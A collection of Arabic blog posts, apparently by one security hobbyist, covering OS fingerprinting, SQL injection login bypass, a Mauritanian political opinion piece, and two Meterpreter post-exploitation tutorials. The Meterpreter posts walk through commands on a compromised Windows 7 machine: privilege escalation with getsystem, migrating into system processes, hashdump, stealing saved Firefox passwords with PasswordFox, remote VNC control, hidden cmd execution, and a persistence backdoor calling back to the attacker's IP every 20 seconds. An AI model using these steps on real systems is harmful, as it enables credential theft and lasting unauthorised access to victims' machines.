بصمات انظمة التشغيل Os fingerprinting

الجزئ الثاني

السلام عليكم بعض انقطاع عن الكتابة مدة لا بأس بها من الزمن اقدم اعتذاري لقراء المدونة و خاصة الذين كانوا ينتظرون الجزئ الثاني او تكملة هذا الموضوع المعقد في الجزئ الاول كنت قد   تحدثت عن  الغرض من تحليل او التعرف على بصمات انظمة التشغيل و كذلك قدمت شرح بسيط عن بروتوكول TCP و كذلك بروتوكول  IP  و قمت باعطاء نظرة عن حزم البيانات , اليوم  سنتعمق في التعرف على الطرق التي يستخدمها خبراء السيكيوريتي قبل ذلك اريد توضيح ان تمييز نظام من آخر لا يعتمد على قواعد محددة  يمكنك الآن برمجة اداة تختلف كليا عن الادوات الموجودة اذا استطعت تحديد وجه اختلاف بين نظامين كان تقول نظام ويندوز يقوم بعمل كذا اذا كانت الظروف كذا , او ان تقول نظام لينوكس يرسل كذا اذا ارسلت له كذا , بما اننا هنا نريد تحديد  ماهية النظام البعيد Remote System لن نتمكن من ذلك بدون تحليل حزم البروتوكولات القياسية التي تنظم اتصالنا به درسنا اليوم سيقوم بعرض اهم الطرق التي ظهرت للتفريق بين انظمة التشغيل في الدرس السابق رأينا ان ال Fingerprinting ينقسم الى قسمين   Active و Passive  سأحاول اليوم التعمق في شرحهما

Active OS Fingerprinting 

 انظمة التشغيل تختلف في طريقة زرعها لكومة بروتوكولات الشبكة Networking Stack وهذا الاختلاف يظهر عندما نقوم بقصفها بحزم غير قياسية لا تحترم القواعد الموثقة في RFC التصرف الذي سيظهر عليها متباين من نظام الى آخر هذا التباين هو الذي يحدد التواقيع بعد تجربة دامت سنوات تم جمع الكثير من التواقيع وضعت في قواعد بيانات تستخدمها الادوات المتخصصة مثل Nmap   على سبيل المثال توجد اداة تدعى ring  تعتمد على بروتوكول TCP تستخدم تقنية جميلة و ذلك بارسال حزمة SYN لبدأ جلسة TCP و عندما يصلها الرد بحزمة SYN-ACK تبقى هادئة اي انها لا ترسل حزمة  ACK لاتمام عملية المصافحة الثلاثية , تصرف النظام البعيد بعد مدة من الزمن يمكن اعتباره توقيع او بصمة لهذه التقنية , مثلا النظام A قد يعيد ارسال حزمة SYN-ACK  على اعتبار انها ضاعت في المرة الاولى بينما النظام B قد يتوقف و يقوم بانهاء الاتصال , الانظمة التي تعيد عملية ارسال SYN-ACK يمكن التفريق بينها بعدد المحاولات قبل ان تستسلم و هكذا  من التواقيع التي تكتشفها هذه الاداة هو توقيع windows  98  و الذي يقوم بثلاث محاولات قبل الاستسلام فبعد المحاولة الاولى يتظر 3 ثواني ثم ينتظر6  ثواني قبل الثانية بعد ذلك 12 ثانية, هناك اداة اخرى تعتمد على بروتوكول ARP تدعى Induce-ARP هذا الاداة كما يظهر من اسمها تعمل في الطبقة الثانية من نظام OSI  اي  طبقة الربط Link Layer  اداتنا هذه تقوم بارسال حزمة ICMP مفبركة تحمل عنوان IP  لا ينتمي الى الشبكة بعد ان تصل الحزمة الى الهدف يقوم ببث Broadcast  لحزمة من نوع ARP Request   لطلب العنوان الفيزيائي MAC  Adress  لهذا الآيبي هذا البث لن يجيب عليه اي جهاز لان العنوان لا ينتمي الى الشبكة مما سيقود الى احتمالين اما ان يقوم الهدف بالاستسلام او ان يحاول مرة اخرى, بعد التجربة لوحظ ان نظام لينوكس Linux و Solaris  يعيدان المحاولة مرة اخرى بينما الانظمة الاخرى تستسلم عند الطلب الاول من هذا نستنتج ان هذه الطريقة يمكنها تحديد ان النظام يمكن ان يكون اما لينوكس و اما سولاريس , لوحظ ايضا ان سولاريس يحاول 6 مرات و لينوكس يعيد المحاولة 3 مرات هناك الكثير من التقنيات التي تم اكتشافها , من ابرز الادوات التي تستخدم تقنيات متقدمة اداة Nmap  السالفة الذكر فهي تعتمد على الكثير من الاشياء المتعلقة بحزم البيانات منها على سبيل المثال حقول الحزمة و الاعلام Flags  سنراها ان شاء الله في المواضيع القادمة ما رأينا حتى الآن يدخل في قسم Active OS Fingerprinting  لاننا نتفاعل مع النظام و نرسل الحزم اليه عيب هذه الطرق هو سهولة اكتشافها من قبل نظام اكتشاف الاختراق IDS  فهو بدوره يزرع فيه تواقيع لانواع الفحص و الهجوم في الدرس القادم سنرى القسم الآخر Passive OS Fingerprinting
مع تحياتي …

تعليق واحد

Filed under Uncategorized

لابناء شنقيط

لم اكن قط سياسيا و لن اكون ,و لكن الظروف التي أعيش فيها تفرض علي الكشف عن رؤيتي لما يحدث في هذا البلد  انها بلاد شنقيط موريتانيا حيث اضواء الثقافة و العلوم,لطالما كانت تدويناتي عن العالم الافتراضي و الامور المتعلقة بالحاسوب هذه التدوينة ستكون مختلفة ,كثيرا ما اسمع عن المعارضة و النظام ومشاحنات في البرلمان و في الشارع و حتى في البيوت , سأصادقكم الحديث و اقول انا اؤيد النظام الموريتاني سموني ما شئتم , خائن , منافق او مُصفِّق كما يقال وهو الوصف الاكثرشهرة لمؤيدي النظام سبب تأييدي للنظام واضح فقط لاني اعارض المعارضة و كما يقال “عدو عدوي,صديقي” فأنا لا ارى ان هذه الفئة تستحق ان يطلق عليها اسم معارضة من هرمها الى قاعدتها,يمكن تشبيهها بجسيمات غاز النيون و لكنها لا تضيئ , تارة في حزب النظام وتارة ضده لن تسمع عندها الا عبارات مثل الاوضاع مأساوية او سطلة استبدادية الخ…

لندخل الآن في المغزى الحقيقي من الموضوع هل سمعتم عن معارضة  ضد التعليم ؟

حسنا افراد هذه الفئة تصرخ بفساد الدولة و التعليم , في الحقيقة هي تمنعه بطريقة غير مباشرة لتحقيق مصالحها اعطيكم مثال خلال مسيرتي الدراسية عايشت الكثير من التوجهات الفكرية   من بعثيين واشتراكيين و سلفيين و ايضا اشخاص لا ينتمون الى اي فكر غرضهم الوحيد هو تحصيل علوم تنورهم و تساعدهم في الحصول على لقمة عيشهم ولكنهم في نفس الوقت كانوا  كنز تتسابق اليه التوجهات الاخرى لاعلان الولاء , اصحاب العقول الضعيفة يقعون في الفخ و يوقعون على بطاقات الانتساب , كان يطلق عليهم لقب الابناء بعد مرور الزمن و الحصول على مباركة قمة الهرم يصبحوا آباء وهكذا , المراحل التي يمرون بها تنسيهم اهدافهم المتمثلة في الحصول على التعليم , ولهذا اصبحت السهرات و الندوات التي يقوم بها الشباب الموريتاني المثقف سياسية بحتة لن يجتمع اثنين الا و كانت السياسية حديثهم,انظروا ما ذا يحدث للتنظيمات الطلابية كان غرضها الاول السهر على الطلب و الآن اصبح على الفئات السياسية المعارضة,فقط اشارة من الزعيم السياسي تكفي للقيام بالاضرابات و شل التعليم و ان كان خارج البلد تكون السفارة هي الهدف  في بعض الاحيان يقومون باضرابات لا مبرر لها  والاكثر من هذا عندما يتم تقسيم الاتحاد الى اثنين كما حدث لاتحاد الطلاب الموريتاني بالجزائر حيث كان الصراع بين من يسمون انفسهم بالسلفيين من انصار احد الاحزاب السياسية المعروفة ضد الآخرين كما يسمونهم , في  تلك الايام عرض علي احد الاتحادات اختراق الموقع الالكتروني للاتحاد الآخر بمقابل.نعم الامور وصلت الى هذه الدرجة بسبب ائتلافات المعارضة في انواكشوط,طبعا هذا هوحال جميع بلدان العالم الثالث لكننا بالغنا فيه كثيرا ,عندما وصل فرانكو الى الحكم في اسبانيا كان ديكتاتوريا وحكمه استبدادي لاكن البلاد ازدهرت في الفترة التي قضاها في الحكم , يمكنكم ان تعارضوا الحكم لاكن ليس بوسائل تشل حركة التعليم الخاسر الاكبر سيكون الطالب المسكين الذي يزج به في السوق السياسي بعد اكمال دراسته,زد على ذلك المستوى التعليمي و التنافسي الضعيف للطالب الموريتاني وغياب الابداع بعد ان كنا مركز للعلوم,في السنوات الماضية فقدنا علماء يحتذى بهم كانوا يصدرون العلوم الى اقطار الكرة الارضية اما الآن فنتوجه الى  موضة تصدير السياسات لكي يقال في المحافل الدولية موريتانيا قطعت شوطا في المجال الديمقراطي لان التيار المعارض لم يصنع من أيدي السلطة المهم ان لا ننسى انها موريتانيا و ليست فرنسا او امريكا سئمنا من معارضة لا تسمن و لا تغني من جوع فقط البحث عن مصالح شخصية يتم اسكاتها بالمال و مع هذا تدعي النضال.

أضف تعليق

Filed under Uncategorized

بصمات انظمة التشغيل Os fingerprinting

الجزئ الاول 

  التعرف على نظام التشغيل الذي يعمل على جهاز الكمبيوتر المستهدف في عملية اختبار الاختراق مهم , لأنه  سيحدد لنا الثغرات التي يجب علينا استخدامها , سأحاول من خلال هذا الدرس ان اقدم رؤية عن ما يعرف ببصمات انظمة التشغيل  كلمة بصمة هنا تعني الكيفية التي يتخاطب بها النظام مع العالم الخارجي هل لو استطعنا تحليل حزم المعلومات الواردة من النظام  Incoming packets يمكننا ان نحدد هويته هل هو لينوكس , ويندوز , او ماك ؟

هناك الكثير من الادوات التي بامكانها تحديد هوية النظام … ما يهمني في هذا الدرس هو شرح كيفية عمل هذه الادوات, لانه من المهم ان تعرف كيفية استخدام الاداة مع طريقة عملها ما الذي تفعله بالضبط , حسنا توجد طريقتين للتعرف على نظام التشغيل كلاهما تعتمد على تحليل حزم البيانات و مقارنتها مع مجموعة من التواقيع signatures لانظمة التشغيل المختلفة الطريقة الاولى تعرف ب Active OS  Fingerprinting و  تعتمد على ارسال مجموعة من الحزم المخصصة و تحليل الرد, عيب هذه الطريقة هي التفاعل مع النظام والذي سيتسبب في تسجيل ما فعلناه في ملفات اللوغ  log files  الطريقة الثانية Passive  OS Fingerprinting و تعتمد على مراقبة النشاط الذي يحدث بيننا مع النظام من دون ارسال Packets مخصصة و لكن كيف ؟ تخيل معي انك تريد معرفة نظام التشغيل الذي يعمل على سيرفر موقع  facebook ستستخدم مراقب الحزم sniffer لالتقاط الحزم و بعدها ستلج الى موقع الفيسبوك بطريقة عادية جدا عن طريق المتصفح بواسطة بروتوكول Http  بعدها تعود الى sniffer  وتأخذ الحزم و تقوم بتحليلها لتستنتج هوية نظام التشغيل هنا تكون قد قمت بالعملية من دون ان ترسل حزم مفبركة الى سيرفر فيسبوك .

نظرة على TCP/IP

هل سبق وان سمعتم عن مجموعة TCP/IP او مجموعة البروتوكولات التي تقف عليها شبكة الانترنت كل نظام تشغيل عليه زرع ما يعرف ب TCP Stack  او كومة هذه البروتوكولات في نواته لكي يتمكن من التخطاب مع الانظمة الاخرى على الشبكة هذه المجموعة و كما هو واضح تحتوي على بروتوكولين اساسين هما IP لتوجيه البيانات  الى هدفها النهائي  و بروتوكول TCP المعروف بالعمود الفقري لشبكة الانترنت الذي يسمح لاي جهازين على الشبكة بالتخاطب بلغة مفهومة, TCP له الكثير من الخصائص منها على سبيل المثال التأكد من وصول البيانات الى وجهتها ولهذا يوصف بالموثوقية و لفهم هذين البروتوكولين سأعطي مثال عند محاولة ارسال ملف عبر الانترنت الى جهاز آخر فان بروتوكول TCPيقوم بتقسيمها الى قطع صغيرة و يضيف الى كل قطعة مجموعة من المعلومات تعرف Header تضمن ترتيب القطع segments عند محاولة الجهاز الآخر تجميعها و ترتيبها ويضيف كذلك معلومات اخرى مثل رقم port الذي سيستقبل هذا الملف في الجهاز ثم يقوم بتمرريرها الى بروتوكول IP الذي سيقودها لتصل الى وجهتها , لنلقي نظرة على header الذي يضيفه TCP على قطع البيانات الصغيرة :

ما ترونه في الصورة هو ما يضيفه بروتوكول  TCP الى البيانات قبل ان يسلمها لبروتوكول IPسأشرح الآن الحقول :

source &  destination: هذان الحقلان يمثلان رقمي بورت المصدر و بورت المستقبل و شيئ طبيعي عندما يتم الاتصال بين جهازين فانهما سيتحدثان عبر منفذين  و فائدة هذا لكي يستطيع الجهاز التعرف على خدمة التطبيق الذي سيستقبل البيانات ان كانت خدمة ftp , http او smtp

sequence number : هذا الرقم يمثل ترتيب اول بايت من المقطع الحالي في البيانات  و هو الذي يعتمد عليه الجهاز المستقبل لترتيب البيانات واعادتها الى حالتها الطبيعية

Acknowledgement Number : ويمثل الرقم التسلسلي التالي الذي يجب على الجهاز استقباله وهو الذي يحدد موثوقية البروتوكول في تسليم البيانات

window : وتمثل عدد البايتات الاعلى  و التي يحبذ الجهاز استقبالها و هذه اشارة الى ان الجهاز المرسل يمكنه ان يرسل كحد اعلى قيمة window كحد اعلى قبل ان يستلم اي تأكيد عن وصولها

flags :  اعلام التحكم وظيفتها التحكم في الاتصال فعلى سبيل المثال يمكن ذكر علم SYN و الذي يستخدم لبداية الاتصال هناك ايضا علم ACK  والذي تكمن فائدته في تأكيد استلام الحزمة Packet , هذه الاعلام عبارة عن مجموعة من البتات فاذا كان بت العلم يساوي 1 فمعنى ذلك ان العلم مرفوع

Data offset : وتمثل حجم ال header اي كل ما في الصورة اعلاه

Options : هذا الحقل مفيد في بعض الاضافات التي يمكننا استخدامها على سبيل المثال يمكن استخدامه للتلاعب بwindow size الذي رأينا و اشياء اخرى

هذا الدرس ليس عن بروتوكول TCP و لا حتى IP لكن من الضروري ان نلقي نظرة عليهما و للمزيد من التفاصيل حول بروتوكول TCP يمكن زيارة صفحة ويكيبيديا التالية :

TCP-Wikipedia

الآن و قد رأينا ما يقوم TCP باضافته لنلقي نظرة على ما يضيفه IP  او ما يعرف ب IP header هذه العملية تقع بعد ان يتم استلام مقطع TCP اي في طبقة الشبكة و التي يعمل بها بروتوكول IP:

لنرى الحقول :

version : اصدار البروتوكول هل هو IPv4 او IPv6

IHL: و تعني Internet Header Lenght وهي حجم ال Header

Type of Service : هذا الحقل يستخدم لتحديد نوعية الخدمة التي يجب اتخاذها مع الحزمة

Total Lengh : يمثل حجم كل شيئ بما في ذلك البيانات كما ترونها في اسفل الصورة

Identification : هذا الحقل يستخدم في عملية تعرف بfragmentaion و هي تقسيم الحزمة الى قطع صغيرة اثناء مرورها على الروترات لسبب ان buffers تختلف بين الروترات المختلفة

Flags : يستخدم هذا الحقل للتحكم ب fragmentation ففيه يتم تحديد ان كان هناك المزيد من fragments او ان هذه fragment هي الاخيرة

TTL : من اهم الحقول و هو يحدد مدة حياة الحزمة في الشبكة يعرف ب Time To Live الحجم الاقصى له هو 255 ويتم تحديد قيمته من المرسل بعد خروج الحزمة من الجهاز فان اي router تصله ينقص القيمة ب 1 فاذا وصلت الى 0 يتم تدميرها  و هذا لكي لا تظل الحزمة تدور في الشبكة

Source & Destination : تمثل عناوين الجهاز المرسل و الجهاز المستقبل

للمزيد عن بروتوكول IP:

IP-Wikipedia

الآن انتهينا من شرح اهم مافي TCP و  IP بقي شيئ اخير وهو عملية يقوم بها اي جهازين عند بداية الاتصال تعرف ب  three way handshake او المصافحة الثلاثية و ذلك قبل بدأ ارسال البيانات , اي جهاز يريد ارسال او الاتصال بجهاز آخر عبر بروتوكول TCP عليه اولا ان يرسل حزمة تدعى SYN اي رفع علم SYN فيها بعد ان تصل الى المستقبل عليه ان يجيب ب SYN-ACK  اذا كان يريد فتح الاتصال واخيرا يقوم الجهاز الاول بارسال ACK ثم يبدأ في ارسال البيانات حتى ينتهي  كما هو موضح في الصورة :

الى هنا ينتهي الجزئ الاول ترقبوا الجزئ الثاني قريبا ان شاء الله …

مع تحياتي.

2 تعليقان

Filed under Uncategorized

ثغرات SQL injection

لن تجد اليوم موقع على الانترنت لا يستخدم تطبيق يتعامل مع قواع البيانات , ان كانت شبكة اجتماعية مثل فيسبوك فمعلومات المستخدمين لابد من تسجيلها في قاعدة البيانات , وان كنت  تتحدث عن بنك فالسندات و بيانات العملاء كلها مسجلة في قواعد البيانات من اسماء و ارقام بطاقات ائتمان وصولا الى ارقام الضمان الاجتماعي … الخ

 على سبيل المثال عند الدخول الى موقع فيسبوك  فان الصفحة الرئيسية يقوم بتوليدها سكربت مكتوب بلغة php, بعدها ستقوم بادخال معلومات الدخول اسم المستخدم و كلمة المرور و الضغط على  login ما يحدث هو ان المتصفح يقوم بارسال المعلومات بطريقة تدعى POST الى سيرفر الويب حيث يوجد سكربت يقوم بالتحقق من المعلومات  وذلك بالاتصال بقاعدة البيانات و التي قد تكون على نفس السيرفر او في سرفر آخر  هذا التحقق يتمثل في انشاء طلب Request , كأن يسأل السكربت قاعدة البيانات هل يوجد مستخدم لديه هذه المعلومات ؟ بعدها يجيب محرك قاعدة البيانات Database Engine نعم يوجد او لايوجد ,  هذا هو السيناريو الذي يحدث في صفحات الدخول  على العموم  فيما يتعلق بثغرات SQLi فيمكن ان   نقول بأنها طريقة لخداع تطبيق الويب من أجل ان يصرح لنا بدخول غير مشروع  مع ملاحظة بسيطة هذا النوع من الثغرات لا يتواجد في قاعدة البيانات وانما في التطبيق الذي يتعامل   معها ,  خداع التطبيق هو ان تقوم بادخال رموز لها دلالة و معنى لمحرك قاعدة البيانات مما يغير من معنى الطلب  لنرجع الى الطلب الماضي :

هل اسم المسخدم هذا : ahoss  موجود و ان كان كذلك هل كلمة سره هي : 12345 ؟

هنا سيتم التحقق تصور معي ان يأتي هكر ويقوم بادراج مجموعة من الرموز ليتحول الطلب الى :

هل اسم المستخدم هذا :ahoss موجود؟

و بدون الحاجة الى كلمة السر صحيحة سيسمح له بالدخول و يتم الاختراق , دعونا الآن نذهب الى امثلة تطبيقية , ولشرح هذه الثغرات سأشرح المجال الأكثر اهمية فيها و هو تخطي صفحات الدخول , لهذا قمت بكتابة صفحة دخول بسيطة للغاية كما ترونها في الصورة :

في الصفحة السابقة عند ادخال اسم المستخدم و كلمة المرور الصحيحة ستقوم بنقلك الى صفحة  اخرى تثبت نجاح العملية كما في الصورة التالية :

الحالة الثانية هي عند ادخال معلومات غير صحيحة ستظهر الرسالة التالية :

الآن لنلقي نظرة على السكربت الذي يقوم بالتحقق من الهوية :

اتمنى ان تكون لديك خلفية بسيطة عن لغة PHP , سأشرح الكود السابق, السطران السابع و الثامن يمثلان دوال الاتصال بقاعدة البيانات اما السطر العاشر فهو يمثل تحقق من ارسال شيئ من الفورم  عن طريق دالة isset فاذا تم ارسال اسم مستخدم و كلمة مرور سيتم دخول في البلوك, اما في السطر  14 فقد حجزت متغير query وضعت فيه الطلب الذي سيتم تنفيذه  منطق SQL بسيط جدا لاحظو معي الجملة :

 

هذه تعليمة بسيطة مفادها : قم باختيار جميع الحقول اذا كان حقل اسم المستخدم يساوي قيمة المتغير usr و ايضا اذا كان حقل كلمة السر يساوي قيمة المتغير pass  ,  ركزو معي جيدا  عبارة AND  الكبيرة تعني وجوب تحقق الشرطين اي ان يكون الاسم موجود و كلمة السر الصحيحة والا فلن يتم ارجاع اي شيئ , كيف يمكننا التلاعب بهذا السطر او هذه التعليمة لكي يتم تجاوز التحقق من كلمة المرور ؟ هنا يبدأ عمل SQLi

عندما تقوم بادخال اسم المستخدم و كلمة المرور سيتم ادراجهما في التعليمة السابقة لنفرض ان اسم المستخدم هو ahoss وكلمة السر هي 12345 ستصبح التعليمة بالشكل التالي

بعدها سيتم ارسالها الى محرك قاعدة البيانات ليقوم بتنفيذها , لدي الآن سؤال هل توجد طريقة يمكنني ان اجعل بها التعليمة تبدو هكذا :

التعليمة السابقة تعني اختر كل شيئ اذا كان اسم المستخدم يساوي ahoss وكلمة السر تساوي لا شيئ , طبعا هذا لن يتحق  , و لكن في آخر التعليمة هناك عبارة OR  و التي تعني او … بما ان الشرط الاول لن يتححق فهناك امكانية تحقق الشرط الذي بعد OR و هو شرط بالفعل متحقق لان 1 يساوي 1

و لهذا ستكون التعليمة كلها صحيحة  الصورة التالية توضح لكم كل شيئ :

و الآن لاستغلال الضعف الامني في التطبيق الماضي يكفي ادخال كلمة السر التالية :

ثغرات SQLi كما ترون معقدة بعض الشيئ و تحتاج الى الكثير من البحث و ايضا دراسة كيفية تعامل  تطبيقات الويب مع البيانات الممرة لها  و دراسة semantic  لغة SQL  ايضا  مفيد جدا ,بالنسبة لطرق الحماية منها يتم ذلك بترشيح ما يدخله المستخدم عن طريق خوارزميات مخصصة او عن طريق دوال  مبنية في لغة البرمجة مثلا في لغة PHP  توجد دالة mysql_real_escape التي تقوم بابعاد الرموز التي من شأنها تغيير معنى semantic  تعليمة SQL و ذلك بضافة \ لتعطيلها  .

مع تحياتي…

أضف تعليق

Filed under Uncategorized

قوة الميتربرتر – الجزئ الثاني

 السلام عليكم اليوم سأتابع ما بدأته عن قوة الميتربرتر في الجزئ الاول تعرفنا على الميتيربرتر و بعض مزاياه, في هذا الجزئ سنرى كيفية استخراج هاشات كلمات السر المحملة في ذاكرة النظام Password Hashes , و كذلك سنرى طريقة خفيفة لاستخراج كلمات السر المسجلة في المتصفحات Browsers , و ايضا كيفية عمل اتصال VNC, و في الاخير سنقوم بتركيب Backdoor في النظام عن طريق خاصية persistence لتأمين الاتصال مع النظام و الحصول على جلسة ميتربرتر حتى بعد اعادة تشغيله .

استخراج الهاشات (Password Hashes)

  في نهاية الجزئ الاول قلت بان قوة الميتربرتر تتمثل في السكربتات التي يمكن استخدامها معه للقيام باعمال معينة من هذه السكربتات  اولا وقبل كل شيئ علينا ترحيل الميتربرتر الى خدمة service تعمل بصلاحيات النظام ساقوم بترحيله الى خدمة svchost.exe والتي تحمل المعرف 724 بعد ذلك نطبق الامر :

hashdump

كما ترون في الصورة حصلنا على الهاشات الآن يمكن نسخ الهاش و لصقه في جوجل لنرى هل سبق و ان فك تشفيره , او نقوم نحن بفك تشفيره باحدى الطرق المعروفة

استخراج كلمات السر المخزنة في firefox

من المعروف ان المتصفحات Browsers تمتلك ميزة تخزين كلمات السر و لهذا الكثير من المستخدمين منهم انا , يستعينون بهذه الميزة و خاصة ان كانت كلمات السر المستخدمة معقدة و كثيرة , هذه الميزة تشكل ضعف امني لانه اي شخص متواجد فيزيائيا على الجهاز يمكنه الحصول على هذه الباسووردات  لكن في حالتنا هذه نمتلك جلسة ميتربرتر  بمعنى Remote connection  ولهذا سنستخدم ميزة اخرى للميتربرتر و هي تحميل الملفات من و الى جهازنا حيث سنرفع اداة PasswordFox الصغيرة لتستخرج لنا الباسبووردات في ملف نصي بعد ذلك نقوم بتحميله الى جهازنا و نتمتع بالحسابات المسجلة , اولا علينا رفع الاداة عن طريق الامر:

upload PasswordFox.exe  

بعد رفع الاداة نطبق shell الامر للحصول على command shell على النظام يمكننا من استخدام الاداة و استخراج الباسووردات في ملف نسميه pass على سبيل المثال :

الآن انتهينا و لكن لم نحصل على الملف و لهذا يتوجب علينا نقله الى الجهاز المحلي عن طريق الأمر :

download pass

بعد ذلك يمكن قرائته عن طريق الامر cat :

بالنسبة للمتصفحات الاخرى يمكن استخدام نفس الفكرة و لكن بادوات اخرى بكل تأكيد .

الحصول على اتصال VNC

VNC او Virtual Network Computing عبارة عن مشاركة لسطح المكتب عن طريق الشبكات فمثلا اي جهاز يحتوي على خدمة VNC يمكننا الاتصال به و التحكم بسطح مكتبه عن طريق جهازنا و لعمل اتصال VNC عن طريق الميتربرتر يجب تشغيل السكربت vnc عبر الامر التالي :

run vnc

بعدها ننتظر قليلا لتظهر لنا نافذة التحكم بسطح المكتب و كما ترون يبدو ان الضحية يستخدم برنامج paint :

استخدام scraper لجمع معلومات النظام 

scraper.rb عبارة عن سكربت رائع لجمع المعلومات من النظام و تسجيلها في log file و لاستخدامه نطبق الامر التالي :

run scraper 

مع التنويه انه يتم التخزين في مجلد logs للميتاسبلويت

تركيب backdoor

تخيل معي ان نجحت في استغلال ثغرة في نظام معين و حصلت على جلسة ميتيربرتر او كوماند شل بعد ذلك انقطع الاتصال بالنظام , ستعود مجددا لاستغلال الثغرة , في حالة ما تم ترقيع  ,  الثغرة لن تنجح في اختراق النظام لتعود الى الوراء والبحث عن ثغرة اخرى او طريقة اخرى تركيب باكدور على النظام سيساعدنا في تخطي هذه المشكلة لنضمن الاتصال بالنظام حتى و تمت اعادة تشغيله سنستخدم سكربت persitence لحقن عميل ميتربرتر في النظام و اعداده ليحاول الاتصال بجهازنا كل 20 ثانية عن طريق الامر التالي :

run persistence -X 20 -p 5555 -r 192.168.56.101

الخيار X لاختيار الوقت , الخيار p لتحديد البورت و r لتحديد عنوان آيبي جهازنا :

الآن يمكنك التخلص من جلسة الميتربرتر هذه و التنصت على البورت 5555 لانه في جهاز الضحية الآن يوجد عميل يحاول الاتصال بك كل 20 ثانية لفتح جلسة ميتربرتر جديدة , سأقوم الآن بالتنصت على البورت 5555 عن طريق multi handler في الميتاسبلويت :

ننتظر قليلا ليأتينا الاتصال اذا كان نظام الضحية up

الى هنا ينتهي الدرس .

تعليق واحد

Filed under Uncategorized

قوة الميتربرتر – الجزئ الأول

موضوع اليوم سيغطي جانب يخفي على الكثيرين , اي عملية اختراق تمر بثلاث مراحل اولا جمع المعلومات , ثانيا استغلال الثغرات التي تم الحصول عليها , بعض المستخدمين يعتقدون ان كل شيئ انتهى لاكن الحقيقة هناك مرحلة مهمة و هي مرحلة ما بعد الاختراق post-exploitation , معنى كلامي ما الذي سنقوم به بعد اخترق الجهاز ؟ هل انتهى كل شيئ بعد الاستغلال ؟

هنا تأتي اهمية الميتربرتر Meterpreter البعض يكتفي فقط بتبديل الاندكس اذا كان هناك سيرفر ويب مركب على الجهاز او سحب كلمات السر , هل تعتقدون ان كل هذه الضجة عن الميتربرتر اتت هكذا ؟

في هذا الموضوع سأحاول رسم فكرة عن الميتربرتر و نقاط قوته و ذلك بامثلة على جهاز تم اختراقه تحديدا Windows 7 Professional

ما هو الميتربرتر؟

لا نستطيع التحدث عن الميتربرتر بدون ذكر مشروع ميتاسبلويت Metasploit بكل بساطة هو عبارة عن مشروع مفتوح المصدر يقدم معلومات عن ثغرات الانظمة و طرق استغلالها يتفرع منه مشروع صغير يدعى Metasploit Framework و هو مجموعة من الادوات لتنفيذ الاستغلالات exploits ضد التطبيقات و الانظمة المصابة , مشروعنا هذا تم اطلاقه من قبل HD Moore في 2003 و اصبح من اكثر المشاريع نجاحا اغلب مختبري الاختراق pen testers يفضلون استخدامه على المشاريع الاخرى , مبدأ استخدام هذا الفريم وورك بسيط جدا اولا يتم اختيار الاستغلال بعد ذلك ضبط اعدادات الكود الذي سيتم تحميله الى ذاكرة الجهاز المستهدف و الذي يدعى ب Payload و اخيرا تنفيذ الاستغلال , الميتربتر ليس الا نوع من البايلودز payloads لاكنه يتميز بقوته التي تتمثل في قدرته على تحميل الملفات من و الى ذاكرة النظام المستهدف , هناك شيئ آخر مع الميتربرتر كل شيئ في الذاكرة على سبيل المثال المكتبات التي يتم تحميلها الى نظام الهدف, اي انه لا يوجد آكسس الى الهارديسك و هذه نقطة قوية تساعد في عدم اكتشافه , ايضا يتميز بعدم خلق عمليات جديدة تعمل في النظام , و الكثير من الاشياء سنكتشفها في الاسطر القادمة .

اساسيات الميتربرتر Meterpreter Basics

كما قلت لكم سيتم شرح الميتربرتر على نظام ويندوز 7 مخترق , لن اذكر هنا الثغرة التي تم بها اختراق الجهاز , سأبدا من مرحلة ما بعد الاستغلال في الصورة التالية تلاحظون حصولي على جلسة ميتربرتر Meterpreter Session على النظام:

الآن و نحن امام سطر اوامر ميتيربرتر , في رأيكم من اين سنبدأ ؟

لاشيئ افضل من ان نبدأ بطباعة معلومات عن النظام الذي قمنا باختراقه , الامر بسيط :

sysinfo

و هذه نتيجة تطبيقه :

في الصورة السابقة اتضح ان النظام هو ويندوز 7 النسخة الفرنسية و اسم الكمبيوتر هو GHOST-PC, قبل البدأ في التقدم مع الميتربرتر و شرح اوامره لدي سؤال ما هي الصلاحيات التي لدينا على النظام ؟

عندما ينجح استغلال لثغرة على نظام معين فان الصلاحيات التي سنحصل عليها هي صلاحيات المستخدم الحالي , و لذلك قد يتعذر علينا القيام بعمليات حساسة على النظام  لكن الميتربرتر لم ينسى هذه المسألة و قدم مجموعة من الاستراتجيات للحصول على صلاحيات النظام و هي اعلى ما يمكن الحصول عليه , للحصول عليها نقوم بتطبيق الامر :

getsystem

لاحظو معي كيف تم تنفيذ الامر و بعد ذلك تطبيق الامر getuid لكي نتعرف على المستخدم الذي نعمل في بيئته و كما ترون system :

الآن و انت مستخدم تملك صلاحيات system على النظام ما الذي ستفعله ؟

يمكنك القيام بكل ما تريد على النظام ابسط مثال على ذلك الانتقال بين المجلدات و البارتشنز و عرض الملفات كما في المثال التالي :

ميتربرتر حيوي ؟

تعلمون ان الثغرات موجودة في الانظمة كما في التطبيقات و البرامج في حالة اذا ما كان البرنامج المصاب و الذي تم استغلال الثغرة عليه غير حيوي , قد نجد مجموعة من العوائق على سبيل المثال اذا انتهت العملية و تم تحرير الذاكرة , سنفقد اتصالنا لهذا هناك طريقة لنقل الميتربرتر الى عملية process تعمل لصالح النظام و تكون حيوية جدا مثل winlogon.exe هنا سنضمن بقاء الميتربرتر على قيد الحياة في الذاكرة , و للقيام بهذا سنستخدم تقنية تدعى الترحيل migrate و هي نقله الى عملية اخرى another process اولا دعونا نطبق الامر ps لنرى جميع العمليات التي تعمل على النظام :

ps

كما ترون في الصورة فوق العملية winlogon التي تحمل الرقم 564 هي التي سننقل اليها الميتربرتر و ذلك بالامر التالي :

migrate 564

تم نقل meterpreter بنجاح و بهذا اضمن لكم شيئ ان حياته lifetime هي نفسها حياة النظام الا اذا قدر الله

الحصول على command shell

النظام الذي اخترقناه هو الويندوز ولهذا من المستحسن الحصول على command shell او cmd لنكون اقرب اكثر منه يوجد امر جميل يدعى execute يمكن تطبيقه , لنرى خياراته :

لن اشرح كل الخيارات , فقط ثلاثة او اربعة ستفيدنا في الحصول على cmd على النظام وهي :

– الخيار f : ويستخدم للاشارة الى الملف التنفيذي الذي ستتم عملية تحميله الذاكرة

– الخيار c: ويستخدم لانشاء قناة بيننا مع العملية بعد تحميل الملف التنفيذي, مفيد في حالة اردنا التفاعل مع الملف

– الخيار H : و هو لاخفاء العملية عن الاعين

الآن لتحميل ملف cmd.exe الى الذاكرة و انشاء قناة تفاعل و اخفائه علينا تطبيق الامر التالي :

execute -f cmd -c -H

